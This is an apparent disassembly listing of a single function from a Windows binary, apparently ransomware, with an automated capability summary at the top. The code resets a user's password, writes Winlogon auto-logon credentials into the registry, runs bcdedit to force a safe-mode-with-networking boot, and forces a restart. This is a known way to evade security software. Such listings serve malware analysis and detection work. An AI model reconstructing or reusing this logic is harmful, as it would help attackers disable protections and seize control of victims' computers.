Function at 0x101b2100
Capabilities:
Create process on windows
Manipulate boot configuration
Set registry value
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x70
movzx eax, byte [ebp + 0x14]
mov edx, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov ecx, dword [ebp + 0x10]
test al, al
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], ecx
je 0x101b2318
lea eax, [ebx + 0xc]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x1019efd0
mov dword [ebp - 0x2c], 0x10352af0
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x34], 0x1019efd0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 2
lea eax, [ebp - 0x2c]
push eax
call fcn.1005f950
add esp, 4
mov eax, dword [ebx + 0xc]
mov ecx, dword [ebx + 0x14]
add ecx, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov word [ebp - 0x24], 0
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x2c]
call fcn.101a1a40
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
cmp edx, eax
jne 0x101b21a0
lea ecx, [ebp - 0x40]
call fcn.1019e980
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x40]
mov word [eax + edx*2], 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebx]
mov ecx, dword [ebx + 8]
add ecx, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov word [ebp - 0x24], 0
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x2c]
call fcn.101a1a40
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
cmp edx, esi
jne 0x101b21e8
lea ecx, [ebp - 0x40]
call fcn.1019e980
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x40]
mov word [ebx + edx*2], 0
lea eax, [ebp - 0x5c]
push 0
push eax
push 0x3eb
push ebx
push 0
call sub.netapi32.dll_NetUserSetInfo
mov edi, eax
test esi, esi
mov dword [ebp - 0x50], eax
je 0x101b221c
mov eax, dword [0x1035648c]
push ebx
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov ebx, dword [ebp + 8]
test edi, edi
lea esi, [ebp - 0x2c]
je 0x101b22f9
lea eax, [ebp - 0x50]
cmp edi, 0x8c5
jne 0x101b2298
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0x10352d78
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0x1002d590
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 1
push esi
call fcn.1005f950
add esp, 4
mov dword [ebp - 0x2c], 0x10352d24
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
push esi
call fcn.1005f950
add esp, 4
jmp 0x101b22f9
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0x10352cf4
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0x1002d590
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 1
push esi
call fcn.1005f950
add esp, 4
mov dword [ebp - 0x2c], 0x10352d24
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
push esi
call fcn.1005f950
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x101b2310
mov eax, dword [0x1035648c]
push dword [ebp - 0x30]
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
test edi, edi
jne 0x101b2622
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], 0x10352b24
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0x1019efd0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 1
lea esi, [ebp - 0x2c]
push esi
call fcn.1005f950
add esp, 4
mov dword [ebp - 0x2c], 0
call sub.KERNEL32.dll_GetCurrentProcess
push esi
push eax
call sub.KERNEL32.dll_IsWow64Process
mov edi, ebx
test eax, eax
je 0x101b2372
cmp dword [ebp - 0x2c], 0
setne al
jmp 0x101b2374
xor eax, eax
movzx ebx, al
mov ecx, 0x10352bd3
mov edx, 0xf
push ebx
push dword [edi + 8]
push dword [edi]
call fcn.101b2fb0
add esp, 0xc
test al, al
je 0x101b25e2
mov ecx, 0x10352be2
mov edx, 0xf
push ebx
push dword [edi + 0x14]
push dword [edi + 0xc]
call fcn.101b2fb0
add esp, 0xc
test al, al
je 0x101b25e2
mov ecx, 0x10352bf1
mov edx, 0xe
push ebx
push 1
push 0x10352bff
call fcn.101b2fb0
add esp, 0xc
test al, al
je 0x101b25e2
lea eax, [ebp - 0x68]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0x10352b50
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x3c], 0x101990f0
mov dword [ebp - 0x20], 1
push esi
call fcn.1005f950
add esp, 4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
lea edi, [0x10352ca9]
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0x10352c78
mov dword [ebp - 0x24], edi
mov word [ebp - 0x20], 0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x40]
mov edx, esi
call fcn.101a1630
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x2c], 0
push esi
push 2
push 0
push edi
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
mov ebx, eax
test eax, eax
jne 0x101b2468
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], eax
je 0x101b2480
mov eax, dword [0x1035648c]
push edi
push 0
push dword [eax]
call sub.KERNEL32.dll_HeapFree
test ebx, ebx
jne 0x101b2cee
mov eax, dword [0x103564a0]
mov edi, dword [0x1035648c]
movzx eax, byte [eax]
mov eax, dword [edi]
test eax, eax
jne 0x101b24ab
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x101b2cbe
mov dword [edi], eax
push 0x68
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x101b2cbe
movaps xmm0, xmmword [str.abcdefghijklmnopqrstuvwx]
movaps xmm1, xmmword [0x1034fc40]
movaps xmm2, xmmword [0x1034fc50]
mov edi, eax
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm1
movaps xmm1, xmmword [0x1034fc60]
movups xmmword [eax + 0x20], xmm2
movaps xmm2, xmmword [0x1034fc70]
movups xmmword [eax + 0x30], xmm1
movaps xmm1, xmmword [0x1034fc80]
movups xmmword [eax + 0x40], xmm2
movups xmmword [eax + 0x50], xmm1
mov dword [eax + 0x60], 0x79
mov dword [eax + 0x64], 0x7a
xor ecx, ecx
mov dword [ebp - 0x30], eax
call fcn.1007f6d0
test eax, eax
je 0x101b2d1a
mov esi, dword [eax]
inc dword [esi]
je 0x101b2d39
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
xor edx, edx
lea ecx, [ebp - 0x2c]
push 6
call fcn.1019ecc0
add esp, 4
mov edi, dword [esi + 0x108]
lea eax, [esi + 8]
lea ebx, [esi + 0x110]
mov dword [ebp - 0x14], eax
jmp 0x101b259c
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.1019cf80
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101b262a
cmp edi, 0x40
jb 0x101b2581
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101b2570
cmp dword [esi + 0x150], 0
js 0x101b2570
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.1019f790
xor edi, edi
jmp 0x101b2581
call sub.KERNEL32.dll_GetLastError
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0x10352bb8
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x3c], 0x1002d590
mov dword [ebp - 0x20], 1
push esi
call fcn.1005f950
add esp, 4
add esp, 0x70
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.1019e340
mov edi, dword [esi + 0x108]
jmp 0x101b2668
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.1019cf80
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101b26ae
cmp edi, 0x40
jb 0x101b2651
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101b2640
cmp dword [esi + 0x150], 0
js 0x101b2640
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.1019f790
xor edi, edi
jmp 0x101b2651
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.1019e340
mov edi, dword [esi + 0x108]
jmp 0x101b26f8
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.1019cf80
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101b273e
cmp edi, 0x40
jb 0x101b26e1
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101b26d0
cmp dword [esi + 0x150], 0
js 0x101b26d0
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.1019f790
xor edi, edi
jmp 0x101b26e1
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.1019e340
mov edi, dword [esi + 0x108]
jmp 0x101b2788
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.1019cf80
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101b27ce
cmp edi, 0x40
jb 0x101b2771
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101b2760
cmp dword [esi + 0x150], 0
js 0x101b2760
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.1019f790
xor edi, edi
jmp 0x101b2771
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.1019e340
mov edi, dword [esi + 0x108]
jmp 0x101b2818
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.1019cf80
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101b285e
cmp edi, 0x40
jb 0x101b2801
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101b27f0
cmp dword [esi + 0x150], 0
js 0x101b27f0
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.1019f790
xor edi, edi
jmp 0x101b2801
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.1019e340
mov edi, dword [esi + 0x108]
jmp 0x101b28a8
xor edi, edi
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push 0
call fcn.1019cf80
add esp, 4
mov eax, 0x1a
mul dword [esi + edi*4 + 8]
inc edi
mov dword [esi + 0x108], edi
cmp eax, 0xcfffffff
jbe 0x101b28ee
cmp edi, 0x40
jb 0x101b2891
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
cmp eax, 1
mov edx, ecx
sbb edx, 0
jl 0x101b2880
cmp dword [esi + 0x150], 0
js 0x101b2880
add eax, 0xffffff00
adc ecx, 0xffffffff
mov dword [esi + 0x148], eax
mov dword [esi + 0x14c], ecx
mov edx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.1019f790
xor edi, edi
jmp 0x101b2891
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + edx*4]
lea ecx, [ebp - 0x2c]
call fcn.1019e340
mov eax, dword [ebp - 0x24]
movsd xmm0, qword [ebp - 0x2c]
mov edi, dword [0x1035648c]
mov dword [ebp - 0x6c], eax
movsd qword [ebp - 0x74], xmm0
dec dword [esi]
jne 0x101b2925
dec dword [esi + 4]
jne 0x101b2925
push esi
push 0
push dword [edi]
call sub.KERNEL32.dll_HeapFree
push dword [ebp - 0x30]
push 0
push dword [edi]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x103564a0]
movzx eax, byte [eax]
mov eax, dword [edi]
test eax, eax
jne 0x101b294e
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x101b2ccf
mov dword [edi], eax
push 1
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x101b2ccf
mov byte [eax], 0x2a
mov dword [ebp - 0x2c], eax
mov ecx, eax
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 1
mov ebx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x74]
test ebx, ebx
mov dword [ebp - 0x14], eax
je 0x101b299e
lea esi, [ebp - 0x2c]
mov edx, 1
mov ecx, esi
push ebx
call fcn.1019ecc0
add esp, 4
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x24]
jmp 0x101b29a3
mov edi, 1
add ecx, edi
push ebx
push dword [ebp - 0x14]
push ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
movsd xmm0, qword [ebp - 0x2c]
add edi, ebx
mov dword [ebp - 0x54], edi
movsd qword [ebp - 0x5c], xmm0
mov esi, dword [ebp - 0x5c]
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.101b9610
add esp, 8
add edi, esi
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], edi
mov word [ebp - 0x20], 0
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x2c]
call fcn.101a1630
movzx eax, byte [ebp - 0x34]
mov ebx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x40]
push dword [ebp - 0x38]
mov dword [ebp - 0x30], ecx
push ecx
push eax
push 0
push ebx
push dword [ebp - 0x44]
call sub.advapi32.dll_RegSetValueExW
cmp dword [ebp - 0x4c], 0
mov edi, eax
je 0x101b2a28
push ebx
push 0
mov eax, dword [0x1035648c]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x3c], 0
mov ebx, dword [0x1035648c]
je 0x101b2a40
push dword [ebp - 0x30]
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
test edi, edi
jne 0x101b2d3d
cmp dword [ebp - 0x58], 0
je 0x101b2a58
push esi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x70], 0
je 0x101b2a6a
push dword [ebp - 0x14]
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [ebp - 0x44]
test eax, eax
js 0x101b2a77
push eax
call sub.advapi32.dll_RegCloseKey
mov dword [ebp - 0x2c], str._INFO__Setting_safemode
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
lea esi, [ebp - 0x2c]
push esi
call fcn.1005f950
add esp, 4
mov dword [ebp - 0x2c], 0
call sub.KERNEL32.dll_GetCurrentProcess
push esi
push eax
call sub.KERNEL32.dll_IsWow64Process
test eax, eax
je 0x101b2ada
cmp dword [ebp - 0x2c], 0
mov dword [ebp - 0x50], 0
je 0x101b2ae1
lea eax, [ebp - 0x50]
push eax
call sub.KERNEL32.dll_Wow64DisableWow64FsRedirection
mov al, 1
mov dword [ebp - 0x44], eax
jmp 0x101b2ae8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x44], 0
mov eax, dword [0x103564a0]
movzx eax, byte [eax]
mov eax, dword [ebx]
test eax, eax
jne 0x101b2b05
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x101b2ce0
mov dword [ebx], eax
push 6
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x101b2ce0
mov byte [eax + 4], 0x73
mov dword [eax], 0x616e7572
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x24], 5
lea eax, [ebp - 0x2c]
push eax
call fcn.1001aac0
add esp, 4
mov esi, eax
mov edi, edx
push 0xb
push 0x10352ac4
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x30], edx
call fcn.1001a940
add esp, 0xc
cmp dword [ebp - 0x40], 0
jne 0x101b2d69
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x60], eax
push 0x1f
push str._set_current_safeboot_networkrunasBCDEdit.exe_INFO__Changing_user_password:
lea eax, [ebp - 0x40]
push eax
call fcn.1001a940
add esp, 0xc
cmp dword [ebp - 0x40], 0
jne 0x101b2d9c
mov edi, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x38]
push 1
push 0
push edi
push esi
push dword [ebp - 0x14]
push 0
call sub.shell32.dll_ShellExecuteA
test ebx, ebx
mov ebx, dword [0x1035648c]
mov byte [edi], 0
je 0x101b2bb8
push edi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x60], 0
mov byte [esi], 0
je 0x101b2bcb
push esi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x30], 0
mov byte [eax], 0
je 0x101b2be1
push eax
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
cmp byte [ebp - 0x44], 0
je 0x101b2bef
push dword [ebp - 0x50]
call sub.KERNEL32.dll_Wow64RevertWow64FsRedirection
mov dword [ebp - 0x2c], str._INFO__Restarting_PCx5
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], str.called__Option::unwrap____on_a__None__valueIndex_out_of_bounds
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x2c]
push eax
call fcn.1005f950
add esp, 4
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea ecx, [ebp - 0x5c]
push ecx
push 0x28
push eax
call sub.advapi32.dll_OpenProcessToken
push 0x13
push str.SeShutdownPrivilegeDefaultUserNameDefaultPasswordAutoAdminLogon1SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonshared_windows_src_safemode_mod.rs
lea eax, [ebp - 0x40]
push eax
call fcn.1001a940
add esp, 0xc
cmp dword [ebp - 0x40], 0
jne 0x101b2dcf
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
lea eax, [ebp - 0x50]
push eax
push esi
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test edi, edi
mov byte [esi], 0
je 0x101b2c84
push esi
push 0
push dword [ebx]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [ebp - 0x50]
mov dword [ebp - 0x2c], 1
movsd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], 2
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
push dword [ebp - 0x5c]
call sub.advapi32.dll_AdjustTokenPrivileges
push 0x10
push 2
call sub.user32.dll_ExitWindowsEx
jmp 0x101b2622
push 0x68
push 4
call fcn.1001a7e0
add esp, 8
jmp 0x101b2e00
push 1
push 1
call fcn.1001a7e0
add esp, 8
jmp 0x101b2e00
push 6
push 1
call fcn.1001a7e0
add esp, 8
ud2
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], eax
push 0x10352cac
push 0x10350568
push esi
push 0x2b
push str.called__Result::unwrap____on_an__Err__value
call fcn.10026bb0
add esp, 0x14
jmp 0x101b2e00
push 0x10246ba4
push 0x10246afc
push esi
push 0x46
push 0x10246b0c
call fcn.10026bb0
add esp, 0x14
jmp 0x101b2e00
ud2
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], 0
push 0x10352cbc
push 0x10350568
lea eax, [ebp - 0x2c]
push eax
push 0x2b
push str.called__Result::unwrap____on_an__Err__value
call fcn.10026bb0
add esp, 0x14
jmp 0x101b2e00
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x24], xmm1
movsd qword [ebp - 0x2c], xmm0
push 0x103533dc
push 0x10350548
lea eax, [ebp - 0x2c]
push eax
push 0x16
push 0x103533c4
call fcn.10026bb0
add esp, 0x14
jmp 0x101b2e00
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x24], xmm1
movsd qword [ebp - 0x2c], xmm0
push 0x103533dc
push 0x10350548
lea eax, [ebp - 0x2c]
push eax
push 0x16
push 0x103533c4
call fcn.10026bb0
add esp, 0x14
jmp 0x101b2e00
movsd xmm0, qword [ebp - 0x40]
movsd xmm1, qword [ebp - 0x38]
movsd qword [ebp - 0x24], xmm1
movsd qword [ebp - 0x2c], xmm0
push 0x103533dc
push 0x10350548
lea eax, [ebp - 0x2c]
push eax
push 0x16
push 0x103533c4
call fcn.10026bb0
add esp, 0x14
ud2